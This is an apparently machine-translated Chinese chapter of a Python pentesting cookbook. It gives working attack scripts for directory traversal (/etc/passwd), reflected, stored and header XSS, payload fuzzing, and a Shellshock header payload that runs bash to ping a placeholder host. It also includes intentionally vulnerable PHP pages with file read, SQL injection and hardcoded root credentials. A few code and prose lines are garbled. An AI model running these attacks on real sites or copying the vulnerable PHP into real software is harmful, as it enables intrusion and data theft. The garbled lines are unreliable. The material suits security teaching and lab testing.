在本章中,我们将介绍以下主题:
本章重点从前 10 名开放式 web 应用程序安全项目(OWASP中识别传统 web 应用程序漏洞。这将包括跨站点脚本编制(XSS)、目录遍历,以及其他简单到可以检查的漏洞,这些漏洞不足以保证它们自己的章节。本章提供了每个脚本的基于参数和基于 URL 的版本,以考虑可能发生的情况并降低单个脚本的复杂性。这些工具中的大多数都有精心设计的备选方案,例如 Burp 入侵者。在简化的 Python 中查看每个工具的好处是,它允许您了解如何构建和制作自己的版本。
偶尔,网站使用不受限制的功能调用文件;这可以允许传说中的目录遍历或直接对象引用(DOR)。在此攻击中,用户可以使用易受攻击的参数调用网站上下文中的任意文件。这有两种操作方式:首先,通过提供一个绝对链接,如/etc/passwd
,它表示从root
目录浏览到etc
目录并打开passwd
文件;其次,向上移动目录以到达root
目录并移动到预期文件的相对链接。
我们将创建一个脚本,试图打开 Linux 机器上始终存在的文件,即前面提到的/etc/passwd
文件,方法是将 up 目录的数量逐渐增加到 URL 中的一个参数。它将通过检测表示文件已打开的词组 root 来识别它何时成功。
标识要测试的 URL 参数。此脚本已配置为适用于大多数设备:etc/passwd
应适用于 OSX 和 Linux 安装,boot.ini
应适用于 Windows 安装。请参阅本例末尾的 PHP 网页,该网页可用于测试脚本的有效性。
我们将使用可通过pip
安装的请求库。在作者看来,它在功能性和可用性方面都优于urllib
。
确定要攻击的参数后,将其作为命令行参数传递给脚本。您的脚本应与以下脚本相同:
import requests
import sys
url = sys.argv[1]
payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}
up = "../"
i = 0
for payload, string in payloads.iteritems():
for i in xrange(7):
req = requests.post(url+(i*up)+payload)
if string in req.text:
print "Parameter vulnerable\r\n"
print "Attack string: "+(i*up)+payload+"\r\n"
print req.text
break
以下是使用此脚本时生成的输出示例:
Parameter vulnerable
Attack string: ../../../../../etc/passwd
Get me /etc/passwd! File Contents:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
我们导入此脚本所需的库,就像我们在本书中迄今为止所做的所有其他脚本一样:
url = sys.argv[1]
然后,我们以 URL 的形式进行输入。当我们使用requests
库时,我们应该确保我们的 URL 与表单请求所期望的匹配,即http(s)://url
。如果您出错,请求将提醒您:
payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}
我们在字典中建立每次攻击中要发送的有效负载。每对中的第一个值是我们希望尝试加载的文件,第二个值肯定位于该文件中。第二个值越具体,出现的误报越少;然而,这可能会增加假阴性的机会。请随意在此处包含您自己的文件:
up = "../"
i = 0
我们提供 up 目录快捷方式../
并将其分配给 up 变量,我们将循环计数器设置为0
:
for payload, string in payloads.iteritems():
while i < 7:
Iteritems
方法允许我们遍历字典,获取每个键和值,并将它们分配给变量。我们将第一个值指定为有效负载,将第二个值指定为字符串。然后,我们对循环设置上限,以防止它在发生故障时永远重复。我已将其设置为7
,但您可以将其设置为任何值。请记住,web 应用程序的目录结构可能高于7
:
req = requests.post(url+(i*up)+payload)
我们通过获取根 URL 并根据循环和负载添加当前数量的 up 目录来设计请求。然后在 post 请求中发送:
if string in req.text:
print "Parameter vulnerable\r\n"
print "Attack string: "+(i*up)+payload+"\r\n"
print req.text
break
我们通过在响应中查找预期字符串来检查是否达到了目标。如果字符串存在,我们停止循环并打印出攻击字符串以及对成功攻击的响应。这允许我们手动验证攻击是否成功,代码是否需要重构,或者 web 应用程序是否不易受攻击:
i = i+1
i = 0
最后,计数器被添加到每个循环中,直到达到预设的最大值。一旦达到最大值,下一个攻击字符串将设置为零。
通过应用本书其他地方所示的原理,可以调整此配方,以使用参数。但是,由于通过参数调用的页面很少,而且有意简洁,因此未提供此功能。
如前所述,可以通过添加其他文件及其常见字符串来扩展此功能。一旦建立了遍历目录的能力和到达根目录所需的深度,它还可以扩展到抓取所有感兴趣的文件。
下面是一个 PHP 网页,允许您在自己的构建中测试此脚本。只要把它放在你的var/www
目录或任何你使用的解决方案中。请勿在未知网络上保持此活动状态:
<?php
echo "Get me /etc/passwd! File Contents";
if (!isset($_REQUEST['id'])){
header( 'Location: /traversal/first.php?id=1' ) ;
}
if (isset($_REQUEST['id'])){
if ($_REQUEST['id'] == "1"){
$file = file_get_contents("data.html", true);
echo $file;}
else{
$file = file_get_contents($_REQUEST['id']);
echo $file;
}
}?>
反映跨站点脚本通常通过基于 URL 的参数进行。你应该知道什么是跨站点脚本,如果你不知道,我为你感到尴尬。来真的我必须解释一下吗?可以跨站点脚本是将 JavaScript 注入页面。这是黑客 101,也是大多数人遇到或听到的第一次攻击。阻止跨站点脚本的低效方法主要集中在目标脚本标记上,由于脚本标记不是在页面中使用 JavaScript 所必需的,因此有很多方法可以解决这一问题。
我们将创建一个脚本,该脚本采用各种标准规避技术,并使用Requests
库将其应用于自动提交。我们将知道脚本是否成功,因为脚本或其早期版本将出现在提交后的页面上。
我们将使用的脚本如下所示:
import requests
import sys
url = sys.argv[1]
payloads = ['<script>alert(1);</script>', '<BODY ONLOAD=alert(1)>']
for payload in payloads:
req = requests.post(url+payload)
if payload in req.text:
print "Parameter vulnerable\r\n"
print "Attack string: "+payload
print req.text
break
以下是使用此脚本时生成的输出示例:
Parameter vulnerable
Attack string: <script>alert(1);</script>
Give me XSS:
<script>alert(1);</script>
此脚本类似于早期的目录遍历脚本。这一次,我们创建了一个有效负载列表,而不是一个字典,因为检查字符串和有效负载是相同的:
payloads = ['<script>alert(1);</script>', '<BODY ONLOAD=alert(1)>']
然后,我们使用与之前类似的循环遍历这些值,并逐一提交:
for payload in payloads:
req = requests.post(url+payload)
每个有效负载都会附加到 URL 的末尾,并以一个未加编码的参数发送,如127.0.0.1/xss/xss.php?comment=
。有效负载将添加到该字符串的末尾,以便生成有效语句。然后检查该字符串是否出现在下一页中:
if payload in req.text:
print "Parameter vulnerable\r\n"
print "Attack string: "+payload
print req.text
break
跨站点脚本非常简单,而且非常容易自动化和检测,因为攻击字符串通常与结果相同。目录遍历或 SQLi 的困难在于结果并不总是可预测的,我们将在后面遇到。如果成功的跨站点脚本攻击,则会发生。
可以通过提供更多的攻击字符串来扩展此攻击。在 Mozilla FuzzDB 中可以找到许多示例,我们将在后面的自动模糊化部分脚本中使用这些示例。此外,可以使用原始的urllib
库应用各种形式的编码,本书中以各种不同的示例展示了原始的urllib
库。
我已经说过,跨站点脚本编写非常简单。有趣的是,以脚本方式执行存储的跨站点脚本要稍微困难一些。在这一点上,我可能应该收回我先前的话,但无论如何。这里的困难在于系统通常从一个页面获取输入结构,提交到另一个页面,然后返回第三个页面。下面的脚本旨在处理最复杂的结构。
我们将创建一个脚本,该脚本接受三个输入值,读取并正确提交所有三个值,并检查是否成功。它与早期的基于 URL 的跨站点脚本共享代码,但在执行上有根本的不同。
下面的脚本是功能测试。这是一个脚本,可以在类似于 sublime text 或 IDE 的框架中手动编辑,因为存储的 XSS 可能需要修改:
import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
initial = requests.get(url)
for payload in payloads:
d = {}
for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
if field.has_attr('name'):
if field['name'].lower() == "submit":
d[field['name']] = "submit"
else:
d[field['name']] = payload
req = requests.post(url2, data=d)
checkresult = requests.get(url3)
if payload in checkresult.text:
print "Full string returned"
print "Attack string: "+ payload
以下是将此脚本与两个成功字符串一起使用时生成的输出示例:
Full string returned
Attack string: <script>alert(1);</script>
Full string returned
Attack string: <BODY ONLOAD=alert(1)>
我们一次又一次地导入我们的库,并建立我们要攻击的 URL。这里,url
是带有要攻击的参数的页面,url2
是要提交内容的页面,url3
是检测攻击是否成功的最终读取页面。其中一些 URL 可能是共享的。之所以以这种形式设置它们,是因为很难为存储的跨站点脚本创建点击式脚本:
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
然后我们建立有效载荷列表。与基于 URL 的 XSS 脚本一样,有效负载和检查值相同:
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
然后,我们创建一个空字典,将有效负载与每个标识的输入框配对:
d = {}
我们的目标是攻击页面中的每个输入参数,因此接下来,我们阅读目标页面:
initial = requests.get(url)
然后,我们为放入有效负载列表中的每个值创建一个循环:
for payload in payloads:
然后,我们使用BeautifulSoup
处理页面,这是一个库,允许我们根据页面的标签和定义特征雕刻页面。我们使用它来标识每个输入字段,并选择其名称,以便向其发送内容:
for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
if field.has_attr('name'):
由于大多数网页中输入框的性质,任何名为submit
的字段都不是跨站点脚本的目标,而是需要将submit
作为一个值,以便我们的攻击成功。我们创建了一个if
函数来检测是否是这种情况,使用.lower()
函数可以轻松地解释可能使用的大写值。如果该字段不用于验证提交文件,我们将使用当前使用的有效负载进行填充:
if field['name'].lower() == "submit":
d[field['name']] = "submit"
else:
d[field['name']] = payload
我们使用requests
库将现在分配的值发送到 post 请求中的目标页面,正如我们前面所做的:
req = requests.post(url2, data=d)
然后,我们加载将呈现内容的页面,并准备将其用于检查结果函数:
checkresult = requests.get(url3)
与之前的脚本类似,我们通过在页面上搜索字符串来检查字符串是否成功,如果成功,则打印结果。然后,我们为下一个有效负载重置字典:
if payload in checkresult.text:
print "Full string returned"
print "Attack string: "+ payload
d = {}
如前所述,您可以更改此脚本以包含许多结果或从包含多个值的文件中读取。Mozilla 的 FuzzDB,如下面的配方所示,包含大量这些值。
以下是一个可用于测试前几节中提供的脚本的设置。它们需要保存为工作所需的文件名,并与 MySQL 数据库一起存储注释。
以下是第一个名为guestbook.php
的界面页面:
<?php
$my_rand = rand();
if (!isset($_COOKIE['sessionid'])){
setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}
?>
<form id="contact_form" action='addguestbook.php' method="post">
<label>Name: <input class="textfield" name="name" type="text" value="" /></label>
<label>Comment: <input class="textfield" name="comment" type="text" value="" /></label>
<input type="submit" name="Submit" value="Submit"/>
</form>
<strong><a href="viewguestbook.php">View Guestbook</a></strong>
以下脚本为addguestbook.php
,将您的评论放入数据库中:
<?php
$my_rand = rand();
if (!isset($_COOKIE['sessionid'])){
setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}
$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";
$cookie = $_COOKIE['sessionid'];
$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];
mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");
$sql="INSERT INTO $tbl_name VALUES('0','$name', '$comment', '$cookie')";
$result=mysql_query($sql);
if($result){
echo "Successful";
echo "<BR>";
echo "<h1>Hi</h1>";
echo "<a href='viewguestbook.php'>View Guestbook</a>";
}
else{
echo "ERROR";
}
mysql_close();
?>
最后一个脚本是viewguestbook.php
,它从数据库中提取注释:
<html>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
<h1>Comments</h1>
<?php
$my_rand = rand();
if (!isset($_COOKIE['sessionid'])){
setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}
$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";
$cookie = $_COOKIE['sessionid'];
$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];
mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");
$sql="SELECT * FROM guestbook WHERE session = '$cookie'";";
$result=mysql_query($sql);
while($field = mysql_fetch_assoc($result)) {
print "Name: " . $field['name'] . "\t";
print "Comment: " . $field['comment'] . "<BR>\r\n";
}
mysql_close();
?>
Fuzzing 是黑客社区的一次粉碎和抢夺。它关注于向页面发送大量无效内容并记录结果。它是 SQL 注入的可复制版本,可以说是渗透测试的基本形式(尽管你的 LOIC 用户可能是生命形式的基本形式)。
我们将创建一个脚本,该脚本将从 FuzzDB 元字符文件中获取值,并将其发送到每个可用参数,并记录所有结果。这无疑是一种用蛮力识别漏洞的尝试,需要一个明智的人来检查结果。
为此,您将需要 Mozilla 提供的 FuzzDB。打印时,可从获取 https://code.google.com/p/fuzzdb/ 。此脚本特别需要的文件是fuzzdb
TAR 文件中的/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt
。我正在重用 XSS 脚本中的测试 PHP 脚本进行概念验证,但是您可以根据自己的喜好使用它。目的是触发一个错误。
脚本如下:
import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all- attacks/interesting-metacharacters.txt")
o = open("results.txt", 'a')
print "Fuzzing begins!"
initial = requests.get(url)
for payload in f.readlines():
for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
d = {}
if field.has_attr('name'):
if field['name'].lower() == "submit":
d[field['name']] = "submit"
else:
d[field['name']] = payload
req = requests.post(url2, data=d)
response = requests.get(url3)
o.write("Payload: "+ payload +"\r\n")
o.write(response.text+"\r\n")
print "Fuzzing has ended"
以下是使用此脚本时产生的输出示例:
Fuzzing has begun!
Fuzzing has ended
我们导入我们的库。由于这又是一个测试脚本,我们在代码中建立 URL:
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
然后我们打开两个文件。第一个是 FuzzDB 元字符文件。我已经包含了我的路径,不过可以在您的工作目录中复制该文件。第二个文件将是您写入的文件:
f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt")
o = open("results.txt", 'a')
我们创建一个空字典,由参数和攻击字符串填充:
d = {}
当脚本将其输出写入文件时,我们需要提供一些文本来显示脚本正在工作,因此我们编写了一条漂亮而简单的消息:
print "Fuzzing begins!"
我们阅读接受输入并分配给变量的原始页面:
initial = requests.get(url)
我们用BeautifilSoup
拆分页面,并确定我们需要的唯一字段,即输入字段和名称字段:
for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
if field.has_attr('name')@~:
我们需要再次检查名为 submit 的任何字段是否提供了submit
作为数据,否则我们将应用我们的攻击字符串:
if field['name'].lower() == "submit":
d[field['name']] = "submit"
else:
d[field['name']] = payload
我们首先提交一个 Apple T0.请求发送映射到输入字段的攻击字符串字典,然后我们从页面中请求一个表示输出(第三页之前可能发生错误,因此应该考虑限制的)的 T1 请求。
req = requests.post(url2, data=d)
response = requests.get(url3)
由于输出将很长且杂乱无章,因此我们将输出写入最初打开的文件中,以便于人工查看:
o.write("Payload: "+ payload +"\r\n")
o.write(response.text+"\r\n")
我们为下一个攻击字符串重置字典,然后为用户提供一个脚本结束输出,以确保清晰:
d = {}
print "Fuzzing has ended"
你可以继续往这个食谱里加点东西。它的设计是开放的,可用于多种类型的输入和攻击。FuzzDB 包含许多不同的攻击字符串,因此所有这些都可以应用。我鼓励你去探索。
您可以像我所做的那样,对存储的 XSS PHP 页面进行测试。
检查较少但更严重的 OWASP 前 10 个漏洞之一是使用具有已知漏洞的库或模块。这通常意味着 web 框架的版本已经过时,但也包括执行特定功能的 JavaScript 库。在这种情况下,我们检查 jQuery;我已经用这个脚本检查了其他库,但出于示例的目的,我将继续使用 jQuery。
我们将创建一个脚本,用于标识站点是否使用 jQuery,检索它的版本号,然后将其与最新版本号进行比较,以确定它是否是最新的。
以下是我们的脚本:
import requests
import re
from bs4 import BeautifulSoup
import sys
scripts = []
if len(sys.argv) != 2:
print "usage: %s url" % (sys.argv[0])
sys.exit(0)
tarurl = sys.argv[1]
url = requests.get(tarurl)
soup = BeautifulSoup(url.text)
for line in soup.find_all('script'):
newline = line.get('src')
scripts.append(newline)
for script in scripts:
if "jquery.min" in str(script).lower():
url = requests.get(script)
versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)
if versions[0] == "2.1.1" or versions[0] == "1.12.1":
print "Up to date"
else:
print "Out of date"
print "Version detected: "+versions[0]
以下是使用此脚本时生成的输出示例:
http://candycrate.com
Out of Date
Version detected: 1.4.2
一如既往,我们导入我们的库并创建一个空库来容纳我们未来确定的脚本:
scripts = []
对于这个脚本,我们创建了一个简单的使用指南,用于检测是否提供了 URL。读取sys.argv
的编号,如果不等于2
,包括脚本本身,则打印出一个指南:
if len(sys.argv) != 2:
print "usage: %s url" % (sys.argv[0])
sys.exit(0)
我们从sys.argv
列表中获取我们的目标 URL 并打开它:
tarurl = sys.argv[1]
url = requests.get(tarurl)
和以前一样,我们用漂亮的汤把书页拆开;然而,这一次我们正在识别脚本并提取它们的src
值,以便获得所使用的js
库的 URL。这收集了所有可能成为 jQuery 的库。请记住,如果您扩展使用范围以包括不同类型的库,此 URL 列表可能非常有用:
for line in soup.find_all('script'):
newline = line.get('src')
scripts.append(newline)
对于每个已识别的脚本,我们随后检查是否有提及jquery.min
,这将表明核心 jQuery 文件:
for script in scripts:
if "jquery.min" in str(script).lower():
然后,我们使用正则表达式来标识版本号。在 jQuery 文件中,这将是第一个适合给定正则表达式的内容。正则表达式查找0-9
或a-z
,后跟一个重复无数次的周期。这是大多数版本号采用的格式,jQuery 也不例外:
versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)
re.findall
方法查找与此正则表达式匹配的所有字符串;然而,正如前面提到的,我们只想要第一个。我们用注释[0]
来标识它。我们检查这是否等于编写本文时当前 jQuery 版本的硬编码值。这些将需要手动更新。如果该值等于当前版本中的任何一个,脚本将声明该值为最新版本,或者,如果该值不等于当前版本,脚本将打印检测到的版本以及过期消息:
if versions[0] == "2.1.1" or versions[0] == "1.12.1":
print "Up to date"
else:
print "Out of date"
print "Version detected: "+versions[0]
这个方法显然是可扩展的,只需添加检测字符串和版本,就可以应用于任何 JavaScript 库。
如果要扩展字符串以包含其他库,例如不安全的 Django 或 flask 库,则必须修改脚本以处理声明它们的替代方式,因为它们显然没有声明为 JavaScript 库。
到目前为止,我们一直专注于通过 URL 和参数发送有效负载,这是执行攻击的两种明显方法。然而,有许多丰富而肥沃的脆弱性来源往往未被触及。其中一个将在第 6 章、图像分析与处理中进行深入介绍,我们现在可以对其进行介绍。日志通常保存访问网页的用户的特定标题。通过在头中执行 XSS 攻击来检查这些日志可能是一项值得的活动。
我们将创建一个脚本,该脚本将 XSS 攻击字符串提交到所有可用的头,并通过几个可能的 XSS 攻击循环。我们将提供一个有效负载的简短列表,抓取所有的标题,并按顺序提交它们。
确定要测试的 URL。请参见本例末尾的 PHP 网页,该网页可以使用脚本来测试脚本的有效性。
确定目标网页后,将其作为命令行参数传递给脚本。您的脚本应与以下脚本中所示的相同:
import requests
import sys
url = sys.argv[1]
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
headers ={}
r = requests.head(url)
for payload in payloads:
for header in r.headers:
headers[header] = payload
req = requests.post(url, headers=headers)
该脚本不会提供任何输出,因为它以功能的管理端为目标。但是,您可以通过以下方式轻松设置它,以便在每个循环上提供输出:
Print "Submitted "+payload
每次都会返回以下内容:
Submitted <script>alert(1);</script>
我们导入此脚本所需的库,并以sys.argv
函数的形式进行输入。在这一点上,你应该相当相信这一点。
再一次,我们可以将有效负载声明为列表,而不是字典,因为我们将把它们与网页提供的值配对。我们还创建了一个空字典来存放我们未来的攻击配对:
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
headers ={}
然后我们向网页发出HEAD
请求,只返回我们攻击的页面的标题。HEAD
请求可能被禁用,尽管可能性不大;但是,如果是,我们可以用标准的GET
请求来代替:
r = requests.head(url)
我们循环使用前面设置的有效负载和从前面HEAD
请求中提取的头文件:
for payload in payloads:
for header in r.headers:
对于每个有效负载和头,我们将它们成对添加到前面设置的空字典中:
headers[header] = payload
对于有效载荷的每个迭代,我们随后提交所有具有该有效载荷的头部,因为我们显然不能提交每个头部的多个:
req = requests.post(url, headers=headers)
由于攻击的活动部分发生在管理员的客户端,因此需要使用管理员帐户进行手动检查,或者需要联系管理员以查看是否在日志记录链中的任何位置激活了攻击。
以下是可用于测试前面脚本的设置。这与早期的 XSS 检查脚本非常相似。这里的区别是,传统的 XSS 方法将由于strip_tags
函数而失败。它演示了需要使用非常规方法执行攻击的情况。显然,在注释中返回用户代理是人为的,尽管这在野外很常见。它们需要保存为工作所需的文件名,并与 MySQL 数据库一起存储注释。
以下是第一个名为guestbook.php
的界面页面:
<?php
$my_rand = rand();
if (!isset($_COOKIE['sessionid4'])){
setcookie("sessionid4", $my_rand, "10000000000", "/xss/vhard/");
}
?>
<form id="contact_form" action='addguestbook.php' method="post">
<label>Name: <input class="textfield" name="name" type="text" value="" /></label>
<label>Comment: <input class="textfield" name="comment" type="text" value="" /></label>
<input type="submit" name="Submit" value="Submit"/>
</form>
<strong><a href="viewguestbook.php">View Guestbook</a></strong>
以下脚本为addguestbook.php
,将您的评论放入数据库中:
<?php
$my_rand = rand();
if (!isset($_COOKIE['sessionid4'])){
setcookie("sessionid4", $my_rand, "10000000000", "/xss/vhard/");
}
$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";
$cookie = $_COOKIE['sessionid4'];
$unsanname = $_REQUEST['name'];
$unsan = $_REQUEST['comment'];
$comment = addslashes($unsan);
$name = addslashes($unsanname);
#echo "$comment";
mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");
$sql="INSERT INTO $tbl_name VALUES('0','$name', '$comment', '$cookie')";
$result=mysql_query($sql);
if($result){
echo "Successful";
echo "<BR>";
echo "<a href='viewguestbook.php'>View Guestbook</a>";
}
else{
echo "ERROR";
}
mysql_close();
?>
最后一个脚本是viewguestbook.php
,它从数据库中提取注释:
<?php
$my_rand = rand();
if (!isset($_COOKIE['sessionid4'])){
setcookie("sessionid4", $my_rand, "10000000000", "/xss/vhard/");
}
$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";
$cookie = $_COOKIE['sessionid4'];
$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];
mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");
$sql="SELECT * FROM guestbook WHERE session = '$cookie'";
$result=mysql_query($sql);
echo "<h1>Comments</h1>\r\n";
while($field = mysql_fetch_assoc($result)) {
$trimmedname = strip_tags($field['name']);
$trimmedcomment = strip_tags($field['comment']);
echo "<a>Name: " . $trimmedname . "\t";
echo "Comment: " . $trimmedcomment . "</a><BR>\r\n";
}
echo "<!--" . $_SERVER['HTTP_USER_AGENT'] . "-->";
mysql_close();
?>
远离针对 web 服务器的标准攻击方式,我们将快速了解 Shellshock,这是一个漏洞,允许攻击者通过特定的头发出 shell 命令。这一漏洞在 2014 年抬头,并迅速成为当年最大的漏洞之一。虽然它现在大部分已经修复,但它是一个很好的例子,说明了如何操纵 web 服务器来执行更复杂的攻击,并且在未来几年内可能成为常见传输文件(CTFs中的一个常见目标。
我们将创建一个脚本,用于下拉页面的标题,确定是否存在易受攻击的标题,并向该标题提交一个示例负载。此脚本依赖于支持此攻击的外部基础设施来收集受损设备呼叫。
确定要测试的 URL。确定目标网页后,将其作为sys.argv
传递给脚本:
您的脚本应与以下脚本相同:
import requests
import sys
url = sys.argv[1]
payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt <url/ip>'"
headers ={}
r = requests.head(url)
for header in r.headers:
if header == "referer" or header == "User-Agent":
headers[header] = payload
req = requests.post(url, headers=headers)
该脚本不会提供输出,因为它以功能的管理端为目标。但是,您可以通过以下方式轻松设置它,以便在每个循环上提供输出:
Print "Submitted "+payload
每次都会返回以下内容:
Submitted <script>alert(1);</script>
我们导入这个脚本所需的库,并以sys.argv
函数的形式进行输入。这有点重复,但它完成了工作。
我们将有效载荷声明为单个实体。如果希望在服务器上执行多个操作,可以将其作为有效负载,类似于前面的操作。我们还为标题有效负载组合创建一个空字典,并向目标 URL 发出HEAD
请求:
payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt <url/ip>'"
headers ={}
r = requests.head(url)
此处设置的有效负载将 ping 您在<url/ip>
空间设置的任何服务器。它将在该 ping 中发送一条消息,即pwnt
。这允许您确定服务器实际上已被破坏,而不仅仅是随机服务器。
然后,我们通过检查我们在初始HEAD
请求中拉入的每个头,并检查是否有referrer
或User-Agent
头,这些头容易受到炮击攻击。如果这些标头存在,我们将针对该标头发送攻击字符串:
for header in r.headers:
if header == "referer" or header == "User-Agent":
headers[header] = payload
一旦我们确定了我们的头是否存在,并且针对它们设置了攻击字符串,我们就启动请求。如果成功,消息应显示在我们的日志中:
req = requests.post(url, headers=headers)